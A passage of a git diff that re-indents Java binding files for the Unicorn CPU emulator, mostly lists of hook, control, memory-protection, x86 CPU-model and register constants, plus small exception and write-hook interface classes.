UC_HOOK_MEM_READ_UNMAPPED = 16; + public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32; + public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64; + public static final int UC_HOOK_MEM_READ_PROT = 128; + public static final int UC_HOOK_MEM_WRITE_PROT = 256; + public static final int UC_HOOK_MEM_FETCH_PROT = 512; + public static final int UC_HOOK_MEM_READ = 1024; + public static final int UC_HOOK_MEM_WRITE = 2048; + public static final int UC_HOOK_MEM_FETCH = 4096; + public static final int UC_HOOK_MEM_READ_AFTER = 8192; + public static final int UC_HOOK_INSN_INVALID = 16384; + public static final int UC_HOOK_EDGE_GENERATED = 32768; + public static final int UC_HOOK_TCG_OPCODE = 65536; + public static final int UC_HOOK_TLB_FILL = 131072; + public static final int UC_HOOK_MEM_UNMAPPED = 112; + public static final int UC_HOOK_MEM_PROT = 896; + public static final int UC_HOOK_MEM_READ_INVALID = 144; + public static final int UC_HOOK_MEM_WRITE_INVALID = 288; + public static final int UC_HOOK_MEM_FETCH_INVALID = 576; + public static final int UC_HOOK_MEM_INVALID = 1008; + public static final int UC_HOOK_MEM_VALID = 7168; + public static final int UC_QUERY_MODE = 1; + public static final int UC_QUERY_PAGE_SIZE = 2; + public static final int UC_QUERY_ARCH = 3; + public static final int UC_QUERY_TIMEOUT = 4; - public static final int UC_CTL_IO_NONE = 0; - public static final int UC_CTL_IO_WRITE = 1; - public static final int UC_CTL_IO_READ = 2; - public static final int UC_CTL_IO_READ_WRITE = 3; + public static final int UC_CTL_IO_NONE = 0; + public static final int UC_CTL_IO_WRITE = 1; + public static final int UC_CTL_IO_READ = 2; + public static final int UC_CTL_IO_READ_WRITE = 3; - public static final int UC_TLB_CPU = 0; - public static final int UC_TLB_VIRTUAL = 1; + public static final int UC_TLB_CPU = 0; + public static final int UC_TLB_VIRTUAL = 1; - public static final int UC_CTL_UC_MODE = 0; - public static final int UC_CTL_UC_PAGE_SIZE = 1; - public static final int UC_CTL_UC_ARCH = 2; - public static final int UC_CTL_UC_TIMEOUT = 3; - public static final int UC_CTL_UC_USE_EXITS = 4; - public static final int UC_CTL_UC_EXITS_CNT = 5; - public static final int UC_CTL_UC_EXITS = 6; - public static final int UC_CTL_CPU_MODEL = 7; - public static final int UC_CTL_TB_REQUEST_CACHE = 8; - public static final int UC_CTL_TB_REMOVE_CACHE = 9; - public static final int UC_CTL_TB_FLUSH = 10; - public static final int UC_CTL_TLB_FLUSH = 11; - public static final int UC_CTL_TLB_TYPE = 12; + public static final int UC_CTL_UC_MODE = 0; + public static final int UC_CTL_UC_PAGE_SIZE = 1; + public static final int UC_CTL_UC_ARCH = 2; + public static final int UC_CTL_UC_TIMEOUT = 3; + public static final int UC_CTL_UC_USE_EXITS = 4; + public static final int UC_CTL_UC_EXITS_CNT = 5; + public static final int UC_CTL_UC_EXITS = 6; + public static final int UC_CTL_CPU_MODEL = 7; + public static final int UC_CTL_TB_REQUEST_CACHE = 8; + public static final int UC_CTL_TB_REMOVE_CACHE = 9; + public static final int UC_CTL_TB_FLUSH = 10; + public static final int UC_CTL_TLB_FLUSH = 11; + public static final int UC_CTL_TLB_TYPE = 12; - public static final int UC_PROT_NONE = 0; - public static final int UC_PROT_READ = 1; - public static final int UC_PROT_WRITE = 2; - public static final int UC_PROT_EXEC = 4; - public static final int UC_PROT_ALL = 7; + public static final int UC_PROT_NONE = 0; + public static final int UC_PROT_READ = 1; + public static final int UC_PROT_WRITE = 2; + public static final int UC_PROT_EXEC = 4; + public static final int UC_PROT_ALL = 7; } diff --git a/bindings/java/unicorn/UnicornException.java b/bindings/java/unicorn/UnicornException.java index 175775c2..84777fc3 100644 --- a/bindings/java/unicorn/UnicornException.java +++ b/bindings/java/unicorn/UnicornException.java @@ -22,13 +22,11 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public class UnicornException extends RuntimeException { + public UnicornException() { + super(); + } - public UnicornException() { - super(); - } - - public UnicornException(String msg) { - super(msg); - } - + public UnicornException(String msg) { + super(msg); + } } diff --git a/bindings/java/unicorn/WriteHook.java b/bindings/java/unicorn/WriteHook.java index ee0f79c4..25c0208a 100644 --- a/bindings/java/unicorn/WriteHook.java +++ b/bindings/java/unicorn/WriteHook.java @@ -22,8 +22,6 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. package unicorn; public interface WriteHook extends Hook { - - public void hook(Unicorn u, long address, int size, long value, Object user); - + public void hook(Unicorn u, long address, int size, long value, + Object user); } - diff --git a/bindings/java/unicorn/X86Const.java b/bindings/java/unicorn/X86Const.java index 7054f787..9c0446c8 100644 --- a/bindings/java/unicorn/X86Const.java +++ b/bindings/java/unicorn/X86Const.java @@ -4,1631 +4,1631 @@ package unicorn; public interface X86Const { -// X86 CPU + // X86 CPU - public static final int UC_CPU_X86_QEMU64 = 0; - public static final int UC_CPU_X86_PHENOM = 1; - public static final int UC_CPU_X86_CORE2DUO = 2; - public static final int UC_CPU_X86_KVM64 = 3; - public static final int UC_CPU_X86_QEMU32 = 4; - public static final int UC_CPU_X86_KVM32 = 5; - public static final int UC_CPU_X86_COREDUO = 6; - public static final int UC_CPU_X86_486 = 7; - public static final int UC_CPU_X86_PENTIUM = 8; - public static final int UC_CPU_X86_PENTIUM2 = 9; - public static final int UC_CPU_X86_PENTIUM3 = 10; - public static final int UC_CPU_X86_ATHLON = 11; - public static final int UC_CPU_X86_N270 = 12; - public static final int UC_CPU_X86_CONROE = 13; - public static final int UC_CPU_X86_PENRYN = 14; - public static final int UC_CPU_X86_NEHALEM = 15; - public static final int UC_CPU_X86_WESTMERE = 16; - public static final int UC_CPU_X86_SANDYBRIDGE = 17; - public static final int UC_CPU_X86_IVYBRIDGE = 18; - public static final int UC_CPU_X86_HASWELL = 19; - public static final int UC_CPU_X86_BROADWELL = 20; - public static final int UC_CPU_X86_SKYLAKE_CLIENT = 21; - public static final int UC_CPU_X86_SKYLAKE_SERVER = 22; - public static final int UC_CPU_X86_CASCADELAKE_SERVER = 23; - public static final int UC_CPU_X86_COOPERLAKE = 24; - public static final int UC_CPU_X86_ICELAKE_CLIENT = 25; - public static final int UC_CPU_X86_ICELAKE_SERVER = 26; - public static final int UC_CPU_X86_DENVERTON = 27; - public static final int UC_CPU_X86_SNOWRIDGE = 28; - public static final int UC_CPU_X86_KNIGHTSMILL = 29; - public static final int UC_CPU_X86_OPTERON_G1 = 30; - public static final int UC_CPU_X86_OPTERON_G2 = 31; - public static final int UC_CPU_X86_OPTERON_G3 = 32; - public static final int UC_CPU_X86_OPTERON_G4 = 33; - public static final int UC_CPU_X86_OPTERON_G5 = 34; - public static final int UC_CPU_X86_EPYC = 35; - public static final int UC_CPU_X86_DHYANA = 36; - public static final int UC_CPU_X86_EPYC_ROME = 37; - public static final int UC_CPU_X86_ENDING = 38; + public static final int UC_CPU_X86_QEMU64 = 0; + public static final int UC_CPU_X86_PHENOM = 1; + public static final int UC_CPU_X86_CORE2DUO = 2; + public static final int UC_CPU_X86_KVM64 = 3; + public static final int UC_CPU_X86_QEMU32 = 4; + public static final int UC_CPU_X86_KVM32 = 5; + public static final int UC_CPU_X86_COREDUO = 6; + public static final int UC_CPU_X86_486 = 7; + public static final int UC_CPU_X86_PENTIUM = 8; + public static final int UC_CPU_X86_PENTIUM2 = 9; + public static final int UC_CPU_X86_PENTIUM3 = 10; + public static final int UC_CPU_X86_ATHLON = 11; + public static final int UC_CPU_X86_N270 = 12; + public static final int UC_CPU_X86_CONROE = 13; + public static final int UC_CPU_X86_PENRYN = 14; + public static final int UC_CPU_X86_NEHALEM = 15; + public static final int UC_CPU_X86_WESTMERE = 16; + public static final int UC_CPU_X86_SANDYBRIDGE = 17; + public static final int UC_CPU_X86_IVYBRIDGE = 18; + public static final int UC_CPU_X86_HASWELL = 19; + public static final int UC_CPU_X86_BROADWELL = 20; + public static final int UC_CPU_X86_SKYLAKE_CLIENT = 21; + public static final int UC_CPU_X86_SKYLAKE_SERVER = 22; + public static final int UC_CPU_X86_CASCADELAKE_SERVER = 23; + public static final int UC_CPU_X86_COOPERLAKE = 24; + public static final int UC_CPU_X86_ICELAKE_CLIENT = 25; + public static final int UC_CPU_X86_ICELAKE_SERVER = 26; + public static final int UC_CPU_X86_DENVERTON = 27; + public static final int UC_CPU_X86_SNOWRIDGE = 28; + public static final int UC_CPU_X86_KNIGHTSMILL = 29; + public static final int UC_CPU_X86_OPTERON_G1 = 30; + public static final int UC_CPU_X86_OPTERON_G2 = 31; + public static final int UC_CPU_X86_OPTERON_G3 = 32; + public static final int UC_CPU_X86_OPTERON_G4 = 33; + public static final int UC_CPU_X86_OPTERON_G5 = 34; + public static final int UC_CPU_X86_EPYC = 35; + public static final int UC_CPU_X86_DHYANA = 36; + public static final int UC_CPU_X86_EPYC_ROME = 37; + public static final int UC_CPU_X86_ENDING = 38; -// X86 registers + // X86 registers - public static final int UC_X86_REG_INVALID = 0; - public static final int UC_X86_REG_AH = 1; - public static final int UC_X86_REG_AL = 2; - public static final int UC_X86_REG_AX = 3; - public static final int UC_X86_REG_BH = 4; - public static final int UC_X86_REG_BL = 5; - public static final int UC_X86_REG_BP = 6; - public static final int UC_X86_REG_BPL = 7; - public static final int UC_X86_REG_BX = 8; - public static final int UC_X86_REG_CH = 9; - public static final int UC_X86_REG_CL = 10; - public static final int UC_X86_REG_CS = 11; - public static final int UC_X86_REG_CX = 12; - public static final int UC_X86_REG_DH = 13; - public static final int UC_X86_REG_DI = 14; - public static final int UC_X86_REG_DIL = 15; - public static final int UC_X86_REG_DL = 16; - public static final int UC_X86_REG_DS = 17; - public static final int UC_X86_REG_DX = 18; - public static final int UC_X86_REG_EAX = 19; - public static final int UC_X86_REG_EBP = 20; - public static final int UC_X86_REG_EBX = 21; - public static final int UC_X86_REG_ECX = 22; - public static final int UC_X86_REG_EDI = 23; - public static final int UC_X86_REG_EDX = 24; - public static final int UC_X86_REG_EFLAGS = 25; - public static final int UC_X86_REG_EIP = 26; - public static final int UC_X86_REG_ES = 28; - public static final int UC_X86_REG_ESI = 29; - public static final int UC_X86_REG_ESP = 30; - public static final int UC_X86_REG_FPSW = 31; - public static final int UC_X86_REG_FS = 32; - public static final int UC_X86_REG_GS = 33; - public static final int UC_X86_REG_IP = 34; - public static final int UC_X86_REG_RAX = 35; - public static final int UC_X86_REG_RBP = 36; - public static final int UC_X86_REG_RBX = 37; - public static final int UC_X86_REG_RCX = 38; - public static final int UC_X86_REG_RDI = 39; - public static final int UC_X86_REG_RDX = 40; - public static final int UC_X86_REG_RIP = 41; - public static final int UC_X86_REG_RSI = 43; - public static final int UC_X86_REG_RSP = 44; - public static final int UC_X86_REG_SI = 45; - public static final int UC_X86_REG_SIL = 46; - public static final int UC_X86_REG_SP = 47; - public static final int UC_X86_REG_SPL = 48; - public static final int UC_X86_REG_SS = 49; - public static final int UC_X86_REG_CR0 = 50; - public static final int UC_X86_REG_CR1 = 51; - public static final int UC_X86_REG_CR2 = 52; - public static final int UC_X86_REG_CR3 = 53; - public static final int UC_X86_REG_CR4 = 54; - public static final int UC_X86_REG_CR8 = 58; - public static final int UC_X86_REG_DR0 = 66; - public static final int UC_X86_REG_DR1 = 67; - public static final int UC_X86_REG_DR2 = 68; - public static final int UC_X86_REG_DR3 = 69; - public static final int UC_X86_REG_DR4 = 70; - public static final int UC_X86_REG_DR5 = 71; - public static final int UC_X86_REG_DR6 = 72; - public static final int UC_X86_REG_DR7 = 73; - public static final int UC_X86_REG_FP0 = 82; - public static final int UC_X86_REG_FP1 = 83; - public static final int UC_X86_REG_FP2 = 84; - public static final int UC_X86_REG_FP3 = 85; - public static final int UC_X86_REG_FP4 = 86; - public static final int UC_X86_REG_FP5 = 87; - public static final int UC_X86_REG_FP6 = 88; - public static final int UC_X86_REG_FP7 = 89; - public static final int UC_X86_REG_K0 = 90; - public static final int UC_X86_REG_K1 = 91; - public static final int UC_X86_REG_K2 = 92; - public static final int UC_X86_REG_K3 = 93; - public static final int UC_X86_REG_K4 = 94; - public static final int UC_X86_REG_K5 = 95; - public static final int UC_X86_REG_K6 = 96; - public static final int UC_X86_REG_K7 = 97; - public static final int UC_X86_REG_MM0 = 98; - public static final int UC_X86_REG_MM1 = 99; - public static final int UC_X86_REG_MM2 = 100; - public static final int UC_X86_REG_MM3 = 101; - public static final int UC_X86_REG_MM4 = 102; - public static final int UC_X86_REG_MM5 = 103; - public static final int UC_X86_REG_MM6 = 104; - public static final int UC_X86_REG_MM7 = 105; - public static final int UC_X86_REG_R8 = 106; - public static final int UC_X86_REG_R9 = 107; - public static final int UC_X86_REG_R10 = 108; - public static final int UC_X86_REG_R11 = 109; - public static final int UC_X86_REG_R12 = 110; - public static final int UC_X86_REG_R13 = 111; - public static final int UC_X86_REG_R14 = 112; - public static final int UC_X86_REG_R15 = 113; - public static final int UC_X86_REG_ST0 = 114; - public static final int UC_X86_REG_ST1 = 115; - public static final int UC_X86_REG_ST2 = 116; - public static final int UC_X86_REG_ST3 = 117; - public static final int UC_X86_REG_ST4 = 118; - public static final int UC_X86_REG_ST5 = 119; - public static final int UC_X86_REG_ST6 = 120; - public static final int UC_X86_REG_ST7 = 121; - public static final int UC_X86_REG_XMM0 = 122; - public static final int UC_X86_REG_XMM1 = 123; - public static final int UC_X86_REG_XMM2 = 124; - public static final int UC_X86_REG_XMM3 = 125; - public static final int UC_X86_REG_XMM4 = 126; - public static final int UC_X86_REG_XMM5 = 127; - public static final int UC_X86_REG_XMM6 = 128; - public static final int UC_X86_REG_XMM7 = 129; - public static final int UC_X86_REG_XMM8 = 130; - public static final int UC_X86_REG_XMM9 = 131; - public static final int UC_X86_REG_XMM10 = 132; - public static final int UC_X86_REG_XMM11 = 133; - public static final int UC_X86_REG_XMM12 = 134; - public static final int UC_X86_REG_XMM13 = 135; - public static final int UC_X86_REG_XMM14 = 136; - public static final int UC_X86_REG_XMM15 = 137; - public static final int UC_X86_REG_XMM16 = 138; - public static final int UC_X86_REG_XMM17 = 139; - public static final int UC_X86_REG_XMM18 = 140; - public static final int UC_X86_REG_XMM19 = 141; - public static final int UC_X86_REG_XMM20 = 142; - public static final int UC_X86_REG_XMM21 = 143; - public static final int UC_X86_REG_XMM22 = 144; - public static final int UC_X86_REG_XMM23 = 145; - public static final int UC_X86_REG_XMM24 = 146; - public static final int UC_X86_REG_XMM25 = 147; - public static final int UC_X86_REG_XMM26 = 148; - public static final int UC_X86_REG_XMM27 = 149; - public static final int UC_X86_REG_XMM28 = 150; - public static final int UC_X86_REG_XMM29 = 151; - public static final int UC_X86_REG_XMM30 = 152; - public static final int UC_X86_REG_XMM31 = 153; - public static final int UC_X86_REG_YMM0 = 154; - public static final int UC_X86_REG_YMM1 = 155; - public static final int UC_X86_REG_YMM2 = 156; - public static final int UC_X86_REG_YMM3 = 157; - public static final int UC_X86_REG_YMM4 = 158; - public static final int UC_X86_REG_YMM5 = 159; - public static final int UC_X86_REG_YMM6 = 160; - public static final int UC_X86_REG_YMM7 = 161; - public static final int UC_X86_REG_YMM8 = 162; - public static final int UC_X86_REG_YMM9 = 163; - public static final int UC_X86_REG_YMM10 = 164; - public static final int UC_X86_REG_YMM11 = 165; - public static final int UC_X86_REG_YMM12 = 166; - public static final int UC_X86_REG_YMM13 = 167; - public static final int UC_X86_REG_YMM14 = 168; - public static final int UC_X86_REG_YMM15 = 169; - public static final int UC_X86_REG_YMM16 = 170; - public static final int UC_X86_REG_YMM17 = 171; - public static final int UC_X86_REG_YMM18 = 172; - public static final int UC_X86_REG_YMM19 = 173; - public static final int UC_X86_REG_YMM20 = 174; - public static final int UC_X86_REG_YMM21 = 175; - public static final int UC_X86_REG_YMM22 = 176; - public static final int UC_X86_REG_YMM23 = 177; - public static final int UC_X86_REG_YMM24 = 178; - public static final int UC_X86_REG_YMM25 = 179; - public static final int UC_X86_REG_YMM26 = 180; - public static final int UC_X86_REG_YMM27 = 181; - public static final int UC_X86_REG_YMM28 = 182; - public static final int UC_X86_REG_YMM29 = 183; - public static final int UC_X86_REG_YMM30 = 184; - public static final int UC_X86_REG_YMM31 = 185; - public static final int UC_X86_REG_ZMM0 = 186; - public static final int UC_X86_REG_ZMM1 = 187; - public static final int UC_X86_REG_ZMM2 = 188; - public static final int UC_X86_REG_ZMM3 = 189; - public static final int UC_X86_REG_ZMM4 = 190; - public static final int UC_X86_REG_ZMM5 = 191; - public static final int UC_X86_REG_ZMM6 = 192; - public static final int UC_X86_REG_ZMM7 = 193; - public static final int UC_X86_REG_ZMM8 = 194; - public static final int UC_X86_REG_ZMM9 = 195; - public static final int UC_X86_REG_ZMM10 = 196; - public static final int UC_X86_REG_ZMM11 = 197; - public static final int UC_X86_REG_ZMM12 = 198; - public static final int UC_X86_REG_ZMM13 = 199; - public static final int UC_X86_REG_ZMM14 = 200; - public static final int UC_X86_REG_ZMM15 = 201; - public static final int UC_X86_REG_ZMM16 = 202; - public static final int UC_X86_REG_ZMM17 = 203; - public static final int UC_X86_REG_ZMM18 = 204; - public static final int UC_X86_REG_ZMM19 = 205; - public static final int UC_X86_REG_ZMM20 = 206; - public static final int UC_X86_REG_ZMM21 = 207; - public static final int UC_X86_REG_ZMM22 = 208; - public static final int UC_X86_REG_ZMM23 = 209; - public static final int UC_X86_REG_ZMM24 = 210; - public static final int UC_X86_REG_ZMM25 = 211; - public static final int UC_X86_REG_ZMM26 = 212; - public static final int UC_X86_REG_ZMM27 = 213; - public static final int UC_X86_REG_ZMM28 = 214; - public static final int UC_X86_REG_ZMM29 = 215; - public static final int UC_X86_REG_ZMM30 = 216; - public static final int UC_X86_REG_ZMM31 = 217; - public static final int UC_X86_REG_R8B = 218; - public static final int UC_X86_REG_R9B = 219; - public static final int UC_X86_REG_R10B = 220; - public static final int UC_X86_REG_R11B = 221; - public static final int UC_X86_REG_R12B = 222; - public static final int UC_X86_REG_R13B = 223; - public static final int UC_X86_REG_R14B = 224; - public static final int UC_X86_REG_R15B = 225; - public static final int UC_X86_REG_R8D = 226; - public static final int UC_X86_REG_R9D = 227; - public static final int UC_X86_REG_R10D = 228; - public static final int UC_X86_REG_R11D = 229; - public static final int UC_X86_REG_R12D = 230; - public static final int UC_X86_REG_R13D = 231; - public static final int UC_X86_REG_R14D = 232; - public static final int UC_X86_REG_R15D = 233; - public static final int UC_X86_REG_R8W = 234; - public static final int UC_X86_REG_R9W = 235; - public static final int UC_X86_REG_R10W = 236; - public static final int UC_X86_REG_R11W = 237; - public static final int UC_X86_REG_R12W = 238; - public static final int UC_X86_REG_R13W = 239; - public static final int UC_X86_REG_R14W = 240; - public static final int UC_X86_REG_R15W = 241; - public static final int UC_X86_REG_IDTR = 242; - public static final int UC_X86_REG_GDTR = 243; - public static final int UC_X86_REG_LDTR = 244; - public static final int UC_X86_REG_TR = 245; - public static final int UC_X86_REG_FPCW = 246; - public static final int UC_X86_REG_FPTAG = 247; - public static final int UC_X86_REG_MSR = 248; - public static final int UC_X86_REG_MXCSR = 249; - public static final int UC_X86_REG_FS_BASE = 250; - public static final int UC_X86_REG_GS_BASE = 251; - public static final int UC_X86_REG_FLAGS = 252; - public static final int UC_X86_REG_RFLAGS = 253; - public static final int UC_X86_REG_FIP = 254; - public static final int UC_X86_REG_FCS = 255; - public static final int UC_X86_REG_FDP = 256; - public static final int UC_X86_REG_FDS = 257; - public static final int UC_X86_REG_FOP = 258; - public static final int UC_X86_REG_ENDING = 259; + public static final int UC_X86_REG_INVALID = 0; + public static final int UC_X86_REG_AH = 1; + public static final int UC_X86_REG_AL = 2; + public static final int UC_X86_REG_AX = 3; + public static final int UC_X86_REG_BH = 4; + public static final int UC_X86_REG_BL = 5; + public static final int UC_X86_REG_BP = 6; + public static final int UC_X86_REG_BPL = 7; + public static final int UC_X86_REG_BX = 8; + public static final int UC_X86_REG_CH = 9; + public static final int UC_X86_REG_CL = 10; + public static final int UC_X86_REG_CS = 11; + public static final int UC_X86_REG_CX = 12; + public static final int UC_X86_REG_DH = 13; + public static final int UC_X86_REG_DI = 14; + public static final int UC_X86_REG_DIL = 15; + public static final int UC_X86_REG_DL = 16; + public static final int UC_X86_REG_DS = 17; + public static final int UC_X86_REG_DX = 18; + public static final int UC_X86_REG_EAX = 19; + public static final int UC_X86_REG_EBP = 20; + public static final int UC_X86_REG_EBX = 21; + public static final int UC_X86_REG_ECX = 22; + public static final int UC_X86_REG_EDI = 23; + public static final int UC_X86_REG_EDX = 24; + public static final int UC_X86_REG_EFLAGS = 25; + public static final int UC_X86_REG_EIP = 26; + public static final int UC_X86_REG_ES = 28; + public static final int UC_X86_REG_ESI = 29; + public static final int UC_X86_REG_ESP = 30; + public static final int UC_X86_REG_FPSW = 31; + public static final int UC_X86_REG_FS = 32; + public static final int UC_X86_REG_GS = 33; + public static final int UC_X86_REG_IP = 34; + public static final int UC_X86_REG_RAX = 35; + public static final int UC_X86_REG_RBP = 36; + public static final int UC_X86_REG_RBX = 37; + public static final int UC_X86_REG_RCX = 38; + public static final int UC_X86_REG_RDI = 39; + public static final int UC_X86_REG_RDX = 40; + public static final int UC_X86_REG_RIP = 41; + public static final int UC_X86_REG_RSI = 43; + public static final int UC_X86_REG_RSP = 44; + public static final int UC_X86_REG_SI = 45; + public static final int UC_X86_REG_SIL = 46; + public static final int UC_X86_REG_SP = 47; + public static final int UC_X86_REG_SPL = 48; + public static final int UC_X86_REG_SS = 49; + public static final int UC_X86_REG_CR0 = 50; + public static final int UC_X86_REG_CR1 = 51; + public static final int UC_X86_REG_CR2 = 52; + public static final int UC_X86_REG_CR3 = 53; + public static final int UC_X86_REG_CR4 = 54; + public static final int UC_X86_REG_CR8 = 58; + public static final int UC_X86_REG_DR0 = 66; + public static final int UC_X86_REG_DR1 = 67; + public static final int UC_X86_REG_DR2 = 68; + public static final int UC_X86_REG_DR3 = 69; + public static final int UC_X86_REG_DR4 = 70; + public static final int UC_X86_REG_DR5 = 71; + public static final int UC_X86_REG_DR6 = 72; + public static final int UC_X86_REG_DR7 = 73; + public static final int UC_X86_REG_FP0 = 82; + public static final int UC_X86_REG_FP1 = 83; + public static final int UC_X86_REG_FP2 = 84; + public static final int UC_X86_REG_FP3 = 85; + public static final int UC_X86_REG_FP4 = 86; + public static final int UC_X86_REG_FP5 = 87; + public static final int UC_X86_REG_FP6 = 88; + public static final int UC_X86_REG_FP7 = 89; + public static final int UC_X86_REG_K0 = 90; + public static final int UC_X86_REG_K1 = 91; + public static final int UC_X86_REG_K2 = 92; + public static final int UC_X86_REG_K3 = 93; + public static final int UC_X86_REG_K4 = 94; + public static final int UC_X86_REG_K5 = 95; + public static final int UC_X86_REG_K6 = 96; + public static final int UC_X86_REG_K7 = 97; + public static final int UC_X86_REG_MM0 = 98; + public static final int UC_X86_REG_MM1 = 99; + public static final int UC_X86_REG_MM2 = 100; + public static final int UC_X86_REG_MM3 = 101; + public static final int UC_X86_REG_MM4 = 102; + public static final int UC_X86_REG_MM5 = 103; + public static final int UC_X86_REG_MM6 = 104; + public static final int UC_X86_REG_MM7 = 105; + public static final int UC_X86_REG_R8 = 106; + public static final int UC_X86_REG_R9 = 107; + public static final int UC_X86_REG_R10 = 108; + public static final int UC_X86_REG_R11 = 109; + public static final int UC_X86_REG_R12 = 110; + public static final int UC_X86_REG_R13 = 111; + public static final int UC_X86_REG_R14 = 112; + public static final int UC_X86_REG_R15 = 113; + public static final int UC_X86_REG_ST0 = 114; + public static final int UC_X86_REG_ST1 = 115; + public static final int UC_X86_REG_ST2 = 116; + public static final int UC_X86_REG_ST3 = 117; + public static final int UC_X86_REG_ST4 = 118; + public static final int UC_X86_REG_ST5 = 119; + public static final int UC_X86_REG_ST6 = 120; + public static final int UC_X86_REG_ST7 = 121; + public static final int UC_X86_REG_XMM0 = 122; + public static final int UC_X86_REG_XMM1 = 123; + public static final int UC_X86_REG_XMM2 = 124; + public static final int UC_X86_REG_XMM3 = 125; + public static final int UC_X86_REG_XMM4 = 126; + public static final int UC_X86_REG_XMM5 = 127; + public static final int UC_X86_REG_XMM6 = 128; + public static final int UC_X86_REG_XMM7 = 129; + public static final int UC_X86_REG_XMM8 = 130; + public static final int UC_X86_REG_XMM9 = 131; + public static final int UC_X86_REG_XMM10 = 132; + public static final int UC_X86_REG_XMM11 = 133; + public static final int UC_X86_REG_XMM12 = 134; + public static final int UC_X86_REG_XMM13 = 135; + public static final int UC_X86_REG_XMM14 = 136; + public static final int UC_X86_REG_XMM15 = 137; + public static final int UC_X86_REG_XMM16 = 138; + public static final int UC_X86_REG_XMM17 = 139; + public static final int UC_X86_REG_XMM18 = 140; + public static final int UC_X86_REG_XMM19 = 141; + public static final int UC_X86_REG_XMM20 = 142; + public static final int UC_X86_REG_XMM21 = 143; + public static final int UC_X86_REG_XMM22 = 144; + public static final int UC_X86_REG_XMM23 = 145; + public static final int UC_X86_REG_XMM24 = 146; + public static final int UC_X86_REG_XMM25 = 147; + public static final int UC_X86_REG_XMM26 = 148; + public static final int UC_X86_REG_XMM27 = 149; + public static final int UC_X86_REG_XMM28 = 150; + public static final int UC_X86_REG_XMM29 = 151; + public static final int UC_X86_REG_XMM30 = 152; + public static final int UC_X86_REG_XMM31 = 153; + public static final int UC_X86_REG_YMM0 = 154; + public static final int UC_X86_REG_YMM1 = 155; + public static final int UC_X86_REG_YMM2 = 156; + public static final int UC_X86_REG_YMM3 = 157; + public static final int UC_X86_REG_YMM4 = 158; + public static final int UC_X86_REG_YMM5 = 159; + public static final int UC_X86_REG_YMM6 = 160; + public static final int UC_X86_REG_YMM7 = 161; + public static final int UC_X86_REG_YMM8 = 162; + public static final int UC_X86_REG_YMM9 = 163; + public static final int UC_X86_REG_YMM10 = 164; + public static final int UC_X86_REG_YMM11 = 165; + public static final int UC_X86_REG_YMM12 = 166; + public static final int UC_X86_REG_YMM13 = 167; + public static final int UC_X86_REG_YMM14 = 168; + public static final int UC_X86_REG_YMM15 = 169; + public static final int UC_X86_REG_YMM16 = 170; + public static final int UC_X86_REG_YMM17 = 171; + public static final int UC_X86_REG_YMM18 = 172; + public static final int UC_X86_REG_YMM19 = 173; + public static final int UC_X86_REG_YMM20 = 174; + public static final int UC_X86_REG_YMM21 = 175; + public static final int UC_X86_REG_YMM22 = 176; + public static final int UC_X86_REG_YMM23 = 177; + public static final int UC_X86_REG_YMM24 = 178; + public static final int UC_X86_REG_YMM25 = 179; + public static final int UC_X86_REG_YMM26 = 180; + public static final int UC_X86_REG_YMM27 = 181; + public static final int UC_X86_REG_YMM28 = 182; + public static final int UC_X86_REG_YMM29 = 183; + public static final int UC_X86_REG_YMM30 = 184; + public static final int UC_X86_REG_YMM31 = 185; + public static final int UC_X86_REG_ZMM0 = 186; + public static final int UC_X86_REG_ZMM1 = 187; + public static final int UC_X86_REG_ZMM2 = 188; + public static final int UC_X86_REG_ZMM3 = 189; + public static final int UC_X86_REG_ZMM4 = 190; + public static final int UC_X86_REG_ZMM5 = 191; + public static final int UC_X86_REG_ZMM6 = 192; + public static final int UC_X86_REG_ZMM7 = 193; + public static final int UC_X86_REG_ZMM8 = 194; + public static final int UC_X86_REG_ZMM9 = 195; + public static final int UC_X86_REG_ZMM10 = 196; + public static final int UC_X86_REG_ZMM11 = 197; + public static final int UC_X86_REG_ZMM12 = 198; + public static final int UC_X86_REG_ZMM13 = 199; + public static final int UC_X86_REG_ZMM14 = 200; + public static final int UC_X86_REG_ZMM15 = 201; + public static final int UC_X86_REG_ZMM16 = 202; + public static final int UC_X86_REG_ZMM17 = 203; + public static final int UC_X86_REG_ZMM18 = 204; + public static final int UC_X86_REG_ZMM19 = 205; + public static final int UC_X86_REG_ZMM20 = 206; + public static final int UC_X86_REG_ZMM21 = 207; + public static final int UC_X86_REG_ZMM22 = 208; + public static final int UC_X86_REG_ZMM23 = 209; + public static final int UC_X86_REG_ZMM24 = 210; + public static final int UC_X86_REG_ZMM25 = 211; + public static final int UC_X86_REG_ZMM26 = 212; + public static final int UC_X86_REG_ZMM27 = 213; + public static final int UC_X86_REG_ZMM28 = 214; + public static final int UC_X86_REG_ZMM29 = 215; + public static final int UC_X86_REG_ZMM30 = 216; + public static final int UC_X86_REG_ZMM31 = 217; + public static final int UC_X86_REG_R8B = 218; + public static final int UC_X86_REG_R9B = 219; + public static final int UC_X86_REG_R10B = 220; + public static final int UC_X86_REG_R11B = 221; + public static final int UC_X86_REG_R12B = 222; + public static final int UC_X86_REG_R13B = 223; + public static final int UC_X86_REG_R14B = 224; + public static final int UC_X86_REG_R15B = 225; + public static final int UC_X86_REG_R8D = 226; + public static final int UC_X86_REG_R9D = 227; + public static final int UC_X86_REG_R10D = 228; + public static final int UC_X86_REG_R11D = 229; + public static final int UC_X86_REG_R12D = 230; + public static final int UC_X86_REG_R13D = 231; + public static final int UC_X86_REG_R14D = 232; + public static final int UC_X86_REG_R15D = 233; + public static final int UC_X86_REG_R8W = 234; + public static final int UC_X86_REG_R9W = 235; + public static final int UC_X86_REG_R10W = 236; + public static final int UC_X86_REG_R11W = 237; + public static final int UC_X86_REG_R12W = 238; + public static final int UC_X86_REG_R13W = 239; + public static final int UC_X86_REG_R14W = 240; + public static final int UC_X86_REG_R15W = 241; + public static final int UC_X86_REG_IDTR = 242; + public static final int UC_X86_REG_GDTR = 243; + public static final int UC_X86_REG_LDTR = 244; + public static final int UC_X86_REG_TR = 245; + public static final int UC_X86_REG_FPCW = 246; + public static final int UC_X86_REG_FPTAG = 247; + public static final int UC_X86_REG_MSR = 248; + public static final int UC_X86_REG_MXCSR = 249; + public static final int UC_X86_REG_FS_BASE = 250; + public static final int UC_X86_REG_GS_BASE = 251; + public static final int UC_X86_REG_FLAGS = 252; + public static final int UC_X86_REG_RFLAGS = 253; + public static final int 